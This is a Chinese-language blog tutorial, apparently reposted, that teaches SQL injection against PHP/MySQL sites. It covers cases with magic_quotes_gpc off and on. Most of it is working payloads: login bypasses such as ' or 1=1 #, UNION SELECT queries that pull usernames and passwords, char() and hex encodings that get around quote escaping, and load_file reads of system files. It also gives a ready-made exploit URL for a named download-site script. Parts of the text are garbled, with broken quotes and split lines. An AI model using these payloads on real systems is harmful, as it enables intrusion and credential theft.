天天看點

php注入之完全版

本文主要是為小菜們服務的,如果你已經是一隻老鳥呢,

可能某些東西會感覺比較乏味,但隻要你仔細的看,你會發現很多有趣的東西哦。

閱讀此文你隻要明白下面的這點東西就夠了。

1.明白php+mysql環境是如何搭建的,在CD光牒中我們收錄搭建的相關文章,

如果您對搭建php+mysql環境不是很清楚,

請先查閱此文,在上一期的專題中也有所介紹。 

2.大概了解php和apache的配置,主要用到php.ini和httpd.conf 

而此文我們主要用到的是php.ini的配置。為了安全起見我們一般都打開

php.ini裡的安全模式,即讓safe_mode = On,還有一個就是傳回

php執行錯誤的display_errors 這會傳回很多有用的資訊,是以我們應該關閉之, 

即讓display_errors=off  關閉錯誤顯示後,

php函數執行錯誤的資訊将不會再顯示給使用者。 

在php的配置檔案php.ini中還有一個非常重要的配置選項magic_quotes_gpc,

高版本的預設都是magic_quotes_gpc=On,隻有在原來的古董級的php中的 

預設配置是magic_quotes_gpc=Off,可是古董的東西也有人用的哦! 

當php.ini中magic_quotes_gpc=On的時候會有什麼情況發生哩,

不用驚慌,天是塌不下來的啦!它隻是把送出的變量中所有的 

' (單引号), " (雙引号), \ (反斜線) 和 空字元會

自動轉為含有反斜線的轉義字元,例如把'變成了\',把\變成了\\。 

就是這一點,讓我們很不爽哦,很多時候我們對字元型的就隻好說BYEBYE了, 

但是不用氣餒,我們還是會有好方法來對付它的,往下看咯! 

3.有一定的php語言基礎和了解一些sql語句,這些都很簡單,

我們用到的東西很少,是以充電還來的及哦!

我們先來看看magic_quotes_gpc=Off的時候我們能幹些啥,

然後我們再想辦法搞一搞magic_quotes_gpc=On的情況哈

一:magic_quotes_gpc=Off時的注入

magic_quotes_gpc=Off的情況雖然說很不安全,新版本預設也讓 

magic_quotes_gpc=On了,可是在很多伺服器中

還有某些程式像vbb論壇就算你配置magic_quotes_gpc=On,

它也會自動消除轉義字元讓我們有機可乘,是以說 

magic_quotes_gpc=Off的注入方式還是大有市場的。

下面我們将從文法,注入點 and 注入類型幾個方面來詳細講解mysql+php注入

A:從MYSQL文法方面先 

  1。先講一些mysql的基本文法,算是給沒有好好學習的孩子補課了哦~_~ 

      1)select 

    SELECT [STRAIGHT_JOIN] [SQL_SMALL_RESULT] 

    select_expression,... 

    [INTO {OUTFILE | DUMPFILE} 'file_name' export_options] 

    [FROM table_references 

        [WHERE where_definition] 

        [GROUP BY col_name,...] 

[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...]

;   ] 

常用的就是這些,select_expression指想要檢索的列,

後面我們可以用where來限制條件,我們也可以用into outfile将select

結果輸出到檔案中。當然我們也可以用select直接輸出 

例如

mysql> select 'a'; 

+---+ 

| a | 

1 row in set (0.00 sec) 

具體内容請看mysql中文手冊7.12節 

下面說一些利用啦 

看代碼先 

這段代碼是用來搜尋的哦 

......... 

SELECT * FROM users WHERE username LIKE 

‘%$search%' ORDER BY username 

....... 

?>

這裡我們順便說一下mysql中的通配符,'%'就是通配符,

其它的通配符還有'*'和'_',其中" * "用來比對字段名,而" % "用來比對字段值,

注意的是%必須與like一起适用,還有一個通配符,就是下劃線" _ ",

它代表的意思和上面不同,是用來比對任何單個的字元的。

在上面的代碼中我們用到了'*'表示傳回的所有字段名,

%$search%表示所有包含$search字元的内容。

我們如何注入哩? 

哈哈,和asp裡很相似 

在表單裡送出 

Aabb%' or 1=1 order by id# 

注:#在mysql中表示注釋的意思,即讓後面的sql語句不執行,後面将講到。 

或許有人會問為什麼要用or 1=1呢,看下面,

把送出的内容帶入到sql語句中成為

SELECT * FROM users WHERE username LIKE ‘%aabb%' or 1=1 

order by id# ORDER BY username

假如沒有含有aabb的使用者名,那麼or 1=1使傳回值仍為真,使能傳回所有值

我們還可以這樣

%' order by id# 

或者 

' order by id# 

帶入sql語句中成了 

SELECT * FROM users WHERE username LIKE ‘% %' 

order by id# ORDER BY username 

和 

SELECT * FROM users WHERE username LIKE ‘%%' 

當然了,内容全部傳回。 

列出所有使用者了喲,沒準連密碼都出來哩。 

這裡就舉個例子先,下面會有更精妙的select語句出現,

select實際上幾乎是無處不在的哦! 

2)下面看update咯 

Mysql中文手冊裡這麼解釋的: 

UPDATE [LOW_PRIORITY] tbl_name SET col_name1=expr1,col_name2=expr2,... 

UPDATE用新值更新現存表中行的列,SET子句指出哪個列要修改和他們應該被給定的值

,WHERE子句,如果給出,指定哪個行應該被更新,否則所有行被更新。 

詳細内容去看mysql中文手冊7.17節啦,在這裡詳細介紹的話會很羅嗦的哦。 

由上可知update主要用于資料的更新,例如文章的修改,使用者資料的修改,

我們似乎更關心後者,因為...... 

看代碼先哦 

我們先給出表的結構,這樣大家看的明白 

CREATE TABLE users ( 

id int(10) NOT NULL auto

我們建構注入語句吧 

在輸入框輸入 

a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from 

alphaauthor#放到sql語句中成了

select * from alphadb where title like %a% and 1=2 union select 

1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# % 

結果如圖17哦

怎麼樣,出來了吧,哈哈,一切盡在掌握之中。

C:下面我們從注入地點上在來看一下各種注入攻擊方式 

1)    首先來看看背景登陸哦 

代碼先 

//login.php 

$query="select * from alphaauthor where UserName= " 

.$HTTP_POST_VARS["UserName"]." and 

Password= ". $HTTP_POST_VARS["Password"]." "; 

$result=mysql_query($query); 

$data=mysql_fetch_array($result); 

if ($data) 

echo "背景登陸成功"; 

esle 

echo "重新登陸"; 

exit; 

?> 

Username和password沒有經過任何處理直接放到sql中執行了。 

看看我們怎麼繞過呢? 

最經典的還是那個: 

在使用者名和密碼框裡都輸入 

‘or = 

select * from alphaauthor where UserName= or = and Password= or = 

這樣帶入得到的$data肯定為真,也就是我們成功登陸了。 

還有其他的繞過方法,原理是一樣的,就是想辦法讓$data傳回是真就可以了。 

我們可以用下面的這些中方法哦 

1. 

使用者名和密碼都輸入 or a = a 

Sql成了 

select * from alphaauthor where UserName= or a = a and Password= 

or a = a

2. 

使用者名和密碼都輸入 or 1=1 and ‘ = 

select * from alphaauthor where UserName= or 1=1 and ‘ = 

and Password= or 1=1 and ‘ =

使用者名和密碼都輸入 or 2>1 and ‘ = 

select * from alphaauthor where UserName= or 2>1 and ‘ = 

and Password= or 2>1 and ‘ =

3. 

使用者名輸入 or 1=1 # 密碼随便輸入 

select * from alphaauthor where UserName= or 1=1 # and 

Password= anything

後面部分被注釋掉了,當然傳回還是真哦。 

        4. 

假設admin的id=1的話你也可以

使用者名輸入 or id=1 # 密碼随便輸入 

select * from alphaauthor where UserName= or 

id=1 # and Password= anything 

如圖18

看看效果圖19

怎麼樣?直接登陸了哦!

俗話說的好,隻有想不到沒有做不到。 

還有更多的構造方法等着課後自己想啦。

2)第二個常用注入的地方應該算是前台資料顯示的地方了。 

上面已經多次提到了呀,而且涉及了數字型,字元型等等,這裡就不再重複了哈。 

隻是舉個例子回顧一下 

碧海潮聲下載下傳站 - v2.0.3 lite有注入漏洞,代碼就不再列出來了 

直接看結果 

<a href="http://localhost/down/index.php?url=&amp;dlid=">[url]http://localhost/down/index.php?url=&amp;dlid=1%20[/url]</a>

and%201=2%20union%20select%

201,2,password,4,username,6,7,8,9,10,11,12,

13,14,15,16,17,18%20from%

20dl_users 

如圖20

看看,我們又得到我們想要的了 

使用者名alpha 

密碼一長串。 

為什麼我們要把password放在3字段處,把username放在5字段處了

,我們上面已經提過了哦,就是我們猜測3和5段顯示的應該是字元串型,

而與我們要顯示的username和password的字段類型應該相同,是以我們這樣放了哦。 

為什麼要用18個字段呢?不知道大家還是否記得在union select介紹那裡

我們提到union必須要求前後select的字段數相同,我們可以通過

增加select的個數來猜測到需要18個字段,隻有這樣union select的内容才會正常顯示哦! 

3)其它如資料修改,使用者注冊的地方主要得有使用者等級的應用。 

我們在上面講述update和insert的時候都已經講到,因為不是很常用,

這裡就不再闡述,在下面将會提到一些關于update和insert的進階利用技巧。 

二:下面将要進入magic_quotes_gpc=On時候的注入攻擊教學環節了 

    當magic_quotes_gpc=On的時候,交的變量中所有的 (單引号), 

" (雙引号), \ (反斜線) 和 空字元會自動轉為含有反斜線的轉義字元。 

    這就使字元型注入的方法化為泡影,這時候我們就隻能注入數字型且沒有 

Intval()處理的情況了,數字型的我們已經講了很多了是吧,

由于數字型沒有用到單引号自然就沒有繞過的問題了,

對于這種情況我們直接注入就可以了。 

1)假如是字元型的就必須得像下面這個樣子,沒有在字元上加引号 。 

這裡我們要用到一些字元串處理函數先, 

字元串處理函數有很多,

這裡我們主要講下面的幾個,具體可以參照mysql中文參考手冊7.4.10。 

    char() 将參數解釋為整數并且傳回由這些整數

的ASCII代碼字元組成的一個字元串。 

當然你也可以用字元的16進制來代替字元,這樣也可以的

,方法就是在16進制前面加0x,看下面的例子就明白了。

        //login.php 

    ...... 

$query="select * from ".$art_system_db_table[ user ]." 

where UserName=$username and Password= ".$Pw." "; 

...... 

假設我們知道背景的使用者名是alpha 

轉化成ASCII後是char(97,108,112,104,97) 

轉化成16進制是0x616C706861 

(我們将在CD光牒中提供16進制和ascii轉換工具) 

好了直接在浏覽器裡輸入:

username=char(97,108,112,104,97)%23 

sql語句變成:

select * from alphaAut

hor where UserName=char(97,108,112,104,97)# and Password= 

如圖21

    正如我們期望的那樣,他順利執行了,我們得到我們想要的。 

    當然咯,我們也可以這樣構造 

sql語句變成: 

select * from alphaAuthor where UserName

=0x616C706861%23# and Password= 

我們再一次是成功者了。很有成就感吧,

或許你會問我們是否可以把#也放在char()裡 

實際上char(97,108,112,104,97)相當于 alpha 

注意是alpha上加引号,表示alpha字元串。 

我們知道在mysql中如果執行

mysql&gt; select * from dl_users where username=alpha; 

ERROR 1054 (42S22): Unknown column alpha in where clause 

看傳回錯誤了。因為他會認為alpha是一個變量。是以我們得在alpha上加引号。 

如下 

mysql&gt; select * from dl_users where username= alpha ; 

這樣才是正确的。 

如果你把#号也放到那裡去了,就成了 alpha# 

帶入sql語句中 

select * from dl_users where username= alpha# ; 

當然是什麼也沒有了,因為連alpha#這個使用者都沒有。 

好,下面我們再來看個例子,

    //display.php 

$query="select * from ".$art_system_db_table[ article ]." 

where type=$type; 

代碼根據類型來顯示内容,$type沒有任何過濾,

且沒有加引号放入程式中。 

假設type中含有xiaohua類,xiaohua的char()轉換後是 

char(120,105,97,111,104,117,97)

我們建構 

97,111,104,117,97) 

and 1=2 union select 1,2,username,

4,password,6,7,8,9,10,11 from alphaauthor 

帶入sql語句中為: 

select * from ".$art_system_db_table[ article ]." 

where type=char(120,105,97,111,104,117,97) and 1=2 

union select 1,2,username,4,password,6,7,8,9,10,

11 from alphaauthor 

看看,我們的使用者名和密碼照樣出來了哦!沒有截圖,想像一下咯:P

2)    或許有人會問,在magic_quotes_gpc=On

的情況下功能強大的load_file()還能不能用呢? 

這正是我們下面要将的問題了,load_file()的使用

格式是load_file(‘檔案路徑 ) 

我們發現隻要把‘檔案路徑 轉化成char()就可以了。試試看哦 

load_file(‘c:/boot.ini )轉化成 

load_file(char(99,58,47,98,111,111,116,46,105,110,105))

本文轉自loveme2351CTO部落格,原文連結:http://blog.51cto.com/loveme23/8522 ,如需轉載請自行聯系原作者